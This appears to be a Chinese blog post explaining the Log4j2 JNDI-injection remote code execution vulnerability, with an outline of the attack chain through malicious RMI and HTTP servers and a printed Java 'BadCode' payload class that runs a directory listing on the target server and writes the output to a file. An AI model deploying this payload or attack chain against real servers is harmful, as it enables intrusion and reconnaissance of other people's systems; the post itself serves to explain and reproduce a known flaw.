文章插图
远程代码漏洞对广大程序员来并不陌生,远程代码执行是指攻击者可能会通过远程调用的方式来攻击或控制计算机设备,无论该设备在哪里 。如果远程代码执行的是一个死循环那服务器的CPU不得美滋滋了 。
前段时间,JAVA 界的知名日志框架 Log4j2 发现了远程代码执行漏洞,漏洞风暴席卷各大公司,编程届异常火热(加班),我们是万万没想到那么牛逼的日志框架有BUG 。
这次安全漏洞也有个小插曲,我司的员工发现了漏洞,上报了Apache没告知GXB,我司也受到了处罚,希望下次引以为戒,不过这事程序员不背锅,管理下次要反思下 。
漏洞描述本次 Apache Log4j 远程代码执行漏洞,是由于组件存在 Java JNDI 注入漏洞:
当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码 。
文章插图
- 首先开启HTTP服务器,并将我们的恶意类放在目录下
- 开启恶意RMI服务器
- 攻击者输入的参数为上一步开启的恶意RMI服务器地址
- 恶意RMI服务器返回ReferenceWrApper类
- 目标服务器在执行lookup操作的时候,将ReferenceWrapper变成Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),进而执行恶意代码
在JMS,JMail,JDBC,EJB等技术中,就大量应用的这种技术 。
JNDI可访问的现有的目录及服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol 轻型目录访问协议)、 CORBA对象服务、文件系统、windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS 。
JNDI 诞生的理由很简单:随着分布式应用的发展,远程访问对象访问成为常用的方法 。虽然说通过Socket等编程手段仍然可实现远程通信,但按照模式的理论来说,仍是有其局限性的 。
RMI技术,RMI-IIOP技术的产生,使远程对象的查找成为了技术焦点 。JNDI技术就应运而生 。JNDI技术产生后,就可方便的查找远程或是本地对象 。
如下展示了JNDI的架构图 。
文章插图
编写攻击代码为完成Bug的复现,我们需要简单的搭建一个RMI服务 。
首先编写我们的攻击代码 。此处攻击代码遍历指定目录下的文件,并将其输出到指定目录中 。
攻击者可以获取无法服务器的任意目录结构,恐怖如斯~
public class BadCode implements ObjectFactory {@Overridepublic Object getObjectInstance(Object obj,Name name,Context nameCtx,Hashtable<?,?> environment) throws Exception {System.out.println("开始执行攻击");String data = https://www.isolves.com/it/aq/fwq/2021-12-31/"HH,我来了";// 嚣张点File file =new File("./badcode.txt");//if file does not exists,then create itif(!file.exists()){file.createNewFile();}FileWriter fileWritter = new FileWriter(file.getName(),true);fileWritter.write(data);// 遍历服务器指定目录List command = new ArrayList();command.add("tree");command.add("**");//指定一个目录String outstring = null;Process p = null;try {ProcessBuilder builder = new ProcessBuilder();builder.command(command);/*** 将标准输入流和错误输入流合并,通过标准输入流程读取信息*/builder.redirectErrorStream(true);p = builder.start();outstring = waitFor(p);fileWritter.write(outstring);} catch (Exception ex) {ex.printStackTrace();}finally {fileWritter.close();p.destroy();}return obj;}public static String waitFor(Process p) {InputStream in = null;int exitValue = -1;StringBuffer outputString = new StringBuffer();try {in = p.getInputStream();final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in,"utf-8"));boolean finished = false;int maxRetry = 600;//每次休眠1秒,最长执行时间10分种int retry = 0;while (!finished) {if (retry > maxRetry) {return "error";}try {String line="";while ((line=bufferedReader.readLine())!=null) {outputString.append(line+"n");}//进程未结束时调用exitValue将抛出异常exitValue = p.exitValue();finished = true;} catch (IllegalThreadStateException e) {Thread.sleep(1000);//休眠1秒retry++;}}} catch (Exception e) {e.printStackTrace();} finally {if (in != null) {try {in.close();} catch (IOException e) {System.out.println(e.getMessage());}}}return outputString.toString();} }
推荐阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 复制粘贴,Excel中最复杂的功能之一,看完你会觉得以前都白学了
- 13个WPS表格小技巧,简单又实用,Excel用户看了都眼红
- 穿衣搭配|看一个女人是不是真的“贵气”,关键在这4点,并不是有钱就行
- 一文读懂Access数据库,从此不用Access数据库
- Python4要来了?快来看看Python之父怎么说
- 从啃PS到啃C4D,我的动态设计之路
- 国企岗位推荐,程序员求职速来看
- 如何从 Kafka 看 时间轮 算法设计
- 小白如何看出计算机操作系统是否开启勒索病毒危险端口
- 大学|高考生看过来!被名字耽误的好大学:仅过一本线也有机会